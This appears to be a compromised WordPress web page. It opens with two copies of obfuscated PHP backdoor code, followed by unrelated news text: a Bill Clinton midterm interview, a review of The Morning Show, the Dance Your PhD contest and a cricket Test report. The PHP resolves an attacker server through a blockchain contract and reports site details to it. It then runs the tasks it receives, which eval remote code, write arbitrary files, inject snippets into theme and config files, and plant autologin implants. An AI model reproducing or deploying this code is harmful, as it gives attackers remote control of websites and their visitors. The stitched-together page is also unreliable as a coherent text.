// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
REUTERS/Lucas Jackson
Former President Bill Clinton said Democrats can retain control of Congress in the 2022 midterms, but warns Republicans will "scare the living daylights out of swing voters" in an interview with CNN's Fareed Zakaria.
Zakaria asked Clinton if Democrats, who have seen encouraging signs about their midterm prospects in recent weeks, can break the decades-long trend of the president's party losing control of Congress in midterm elections.
"Absolutely we could hold both these Houses, but we have to say the right things," Clinton told Zakaria in the interview, which aired Sunday. "And we have to know the Republicans always close well. Why? Because they find some new way to scare the living daylights out of swing voters about something. That's what they did in 2021 when they made critical race theory sound worse than smallpox."
In 2021, Republicans swept the top three statewide offices in Virginia, which had previously been trending towards Democrats, and put up an unexpectedly strong showing in New Jersey's gubernatorial race partly by mobilizing voters, especially parents, over both the teaching of race in schools and COVID-19 induced school closures.
"They just scare people," Clinton added. "And in the end, the breakpoint in American politics is not that much different than the 90s. You still have to get those people, it's just that there's so many fewer of them, because as the parties have gotten more ideological and clear and somehow psychically intolerant, they pull more and more people towards the extremes."
—Aaron Rupar (@atrupar) September 18, 2022
Increased polarization and partisanship since Clinton held office in the 1990s means fewer persuadable swing voters and fewer willing to cross party lines. The 2020 election, for example, saw record-low numbers of voters splitting their tickets between elect. But Clinton still argued that "there's some people who are hanging on there and trying to think, and trying to understand what's going on."
Zakaria also asked Clinton about the recent death of Ken Starr.
The hard-charging special prosecutor, who died at age 76, doggedly investigated the Clintons first in the Whitewater probe, over their real estate dealings in Arkansas. The investigation then zeroed in on Clinton's extramarital affair with then-White House intern Monica Lewinsky, which became the biggest scandal of his presidency and led to his impeachment.
"Well, I read the obituary, and I realized that his family loved him, and I think that's something to be grateful for, and when your life is over that's all there is to say," Clinton said of Starr."But I was taught not to talk about people that I — you know. I have nothing to say. Except I'm glad he died with the love of his family."
https://i.insider.com/524891fe6bb3f76a3d86fd78?format=jpeg
]]>
Apple certainly brought out the big guns for its first major TV offering, with Jennifer Aniston, Reese Witherspoon and Steve Carell all starring in the daytime TV-set drama The Morning Show, debuting this Friday, Nov. 1 along with the Apple TV+ streaming service. (I’ve seen the first three episodes.) How could any show starring those three actors possibly be anything but great, you might ask? Well… it could, actually. Sadly, The Morning Show is overly talky, tonally confused, badly miscast in places — and, given the talent involved, a major disappointment.
Set behind the scenes of a Today-like daytime talk show, the premiere opens with a bombshell, with Carell’s beloved anchor Mitch Kessler getting fired after a number of sexual misconduct accusations come to light. And that’s where the troubles begin: Carell is the wrong choice to play Mitch, a smug jerk who plays the victim in ugly tirades against the #MeToo movement. He can’t really shake the Michael Scott associations, and his presence adds an unfortunate comic tone to a very serious subject. The show insists on following Mitch’s fumbling attempts at post-scandal rehabilitation… but every time he appeared on screen, I cringed.
The scandal leaves Mitch’s co-anchor Alex Levy (Aniston) to navigate the fallout as executives try to shake up the show around her. One possibility is West Virginia TV reporter Bradley Jackson (Witherspoon), whose on-air run-in with a protestor goes viral and leads to a contentious Morning Show interview with Alex… and a possible host slot sitting next to her. But Witherspoon doesn’t feel quite right to play Bradley, either; she’s supposed to be a straight-shooting breath of fresh air, but Witherspoon is too close to Aniston’s age to play the unconventional upstart who’s a threat to unseat her. And the dynamic between Alex and Bradley is strange and hard to pin down; their big TV showdown turns into a philosophical debate that isn’t half as revelatory as the show seems to think it is.
It’s all a bit The Newsroom-y, if you remember Aaron Sorkin’s hate-watchable HBO series from a few years back, with the hustle and bustle of live TV production and the constant pressure from executives up on high. (It even has several Sorkin-esque walk-and-talks!) But Sorkin himself couldn’t make The Newsroom work, and the writing here is a significant step below that, with characters making lots of bold statements about who they are and what they stand for. These people don’t just talk. They proclaim! They declare! They espouse! “America is ____!” “The news is _____!” “Women today are _____!” I wanted to see more of the nuts and bolts of actually producing a live TV news show, but the series is much more interested in showing us scene after scene of this kind of speechifying… and it’s exhausting.
The Morning Show also seems to be set in a fairy-tale world of journalistic integrity, with starry-eyed reporters battling with coldhearted network executives, like it’s encased in amber from two decades ago. It makes half-hearted attempts to incorporate modern broadcast trends, but just feels hopelessly out of step with the way people consume news now. (Side note: The show’s fictional TV network is named UBA, which is a terrible network name. Just awful.) The overall tone is deeply confused: First, it’s light and bouncy, almost comedic, and then turns gravely serious, like a daytime TV host making a particularly clumsy segue.
It does boast an absolutely stacked cast; in fact, if anything, it’s too stacked. Quality performers like Gugu Mbatha-Raw, Adina Porter and Ian Gomez are shoved into the background and barely get a handful of lines combined in the first three episodes. There’s really far too much going on here: Alex also has a college-age daughter she’s struggling to connect with, and Bradley has a brother at home who’s a drug addict, but neither of those storylines carry any real resonance, at least at first. They just serve to clutter up an already cluttered series.
Aniston fares the best among the cast, though. She does get a bit too Rachel Green-y at times during the comedic bits, but Alex has far and away the strongest narrative arc on the show. She has wildly mixed feelings about replacing Mitch, who was a close friend of hers, and she also faces an uphill battle trying to cling to relevance as a woman growing older on television. Aniston infuses Alex’s story with genuine emotion, and reminds us what a gifted dramatic actor she is. But the rest of the show lets her down. It’s a solid performance lost in a sea of jumbled ideas and missed opportunities.
A final warning: If you stick around long enough to watch the second episode, it ends with a bizarre “twist” that makes absolutely no sense, from either a TV production perspective or an emotional character one. If I had any desire to stick with The Morning Show at that point — which I did not — that would have just obliterated it completely. Apple was clearly hoping to make a big splash with this star-studded series… but it ends up being more of a painful belly flop.
THE TVLINE BOTTOM LINE: Apple’s first big TV offering The Morning Show is an overly talky, tonally confused misfire that squanders a very good cast.
https://pmctvline2.files.wordpress.com/2019/10/the_morning_show_apple-jennifer-aniston-reese-witherspoon.jpg
Cooper pairs and impurities come to life in a superconductor and dance their little particle hearts out in Pramodh Yapa’s “Superconductivity: The Musical.”
Pairs of swing-dancing electrons do the Lindy Hop in “Superconductivity: The Musical,” the winning video for this year’s geektastic Dance Your PhD contest. Pramodh Yapa, a graduate student at the University of Alberta, Canada, beat out roughly 50 other entries for the interpretive dance based on his master’s thesis, “Non-Local Electrodynamics of Superconducting Wires: Implications for Flux Noise and Inductance.”
The Dance Your PhD contest was established in 2008 by science journalist John Bohannon, and is sponsored by Science magazine and the American Association for the Advancement of Science (AAAS). Bohannon told Slate in 2011 that he came up with the idea while trying to figure out how to get a group of stressed-out PhD students in the middle of defending their theses to let off a little steam. So he put together a dance party at Austria’s Institute of Molecular Biotechnology, including a contest for whichever candidate could best explain their thesis topics with interpretive dance.
Science kicked in a free one-year subscription as a reward. It was such a hit, Bohannon started getting emails asking when the next such contest would be. And Dance Your PhD has continued ever since. There are four broad categories: physics, chemistry, biology, and social science, with a fairly liberal interpretation of what topics fall under each.
]]>India, the world’s top-ranked Test side, failed to cope with overcast and swing-friendly conditions in both their innings, with a rain-marred match effectively over in under two days’ standard playing time.
India were dismissed for 130 on Sunday’s fourth day, having been skittled out for just 107 first-time around.
LIVE Stream the England v India Test Series on FOX SPORTS. SIGN UP NOW >
Anderson, England’s all-time leading Test wicket-taker, finished with innings figures of four for 23 as he became the first bowler to take 100 Test wickets at Lord’s.
Allied to a first-innings return of five for 20, that meant Anderson had a match haul of nine for 43.
“I am not very proud of the way we played,” India captain Virat Kohli told Sky Sports. “England deserved to win; we deserved to lose.” Victory left England 2-0 up in this five-match series after their 31-run win in the first Test at Edgbaston last week.
“The bowling unit were exceptional throughout the whole game,” said Joe Root, the England captain.
“The conditions were in our favour but you still have to ask questions and we did.” Only once have a side come from 2-0 down to win a five-match Test series, when a Don Bradman inspired Australia recovered to beat England in 1936-37.
READ MORE
Hat-trick, ton, classic catch: Russell runs riot on captaincy debut
Rival T20 start-up threatens to snare Warner, Smith
Quicks banging on the door for call-up after double injury blow
This match was a personal triumph for Woakes, who was recalled by England in place of Ben Stokes because of his fellow pace-bowling all-rounder’s ongoing trial for affray.
Woakes’s 137 not out, his maiden Test century, was the cornerstone of England’s 7-396 declared.
He also shared an England record sixth-wicket stand against India of 189 with Jonny Bairstow (93).
That partnership helped England recover from a top-order collapse that saw them slump to 4-89 at lunch on the third day.
Man-of-the-match Woakes also had overall figures of four for 43. “To get to a position where we could declare after Jonny and Woakesy’s magnificent partnership, I am chuffed to bits for Woakesy to get a hundred,” said Root.
His century saw Woakes become just the fourth cricketer after England’s Gubby Allen and Ian Botham and Australia’s Keith Miller to have scored a century and taken 10 or more wickets in a Test at Lord’s, with the Warwickshire star returning match figures of 11 for 102 at the ‘home of cricket’ against Pakistan two years ago.
“To get a hundred and be on the honours board is something that will stay with me forever,” said Woakes.
Sunday’s humid and cloudy conditions were ideal for 36-year-old Lancashire swing bowler Anderson, who has now taken 553 Test wickets.
That left Anderson, fifth in the all-time Test standings, just 10 wickets behind Glenn McGrath’s tally of 563 — the most by any paceman at this level, with the top three places all belonging to spinners.
